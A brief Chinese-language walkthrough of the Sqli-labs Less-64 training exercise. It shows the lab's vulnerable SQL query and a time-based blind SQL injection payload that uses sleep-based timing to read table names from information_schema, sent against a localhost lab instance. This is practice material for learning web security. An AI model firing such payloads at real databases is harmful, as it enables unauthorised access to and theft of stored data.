Sqli-labs less 64

Less-64

此处的sql语句为

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

示例payload：

http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

当正确的时候时间很短，当错误的时候时间大于10秒。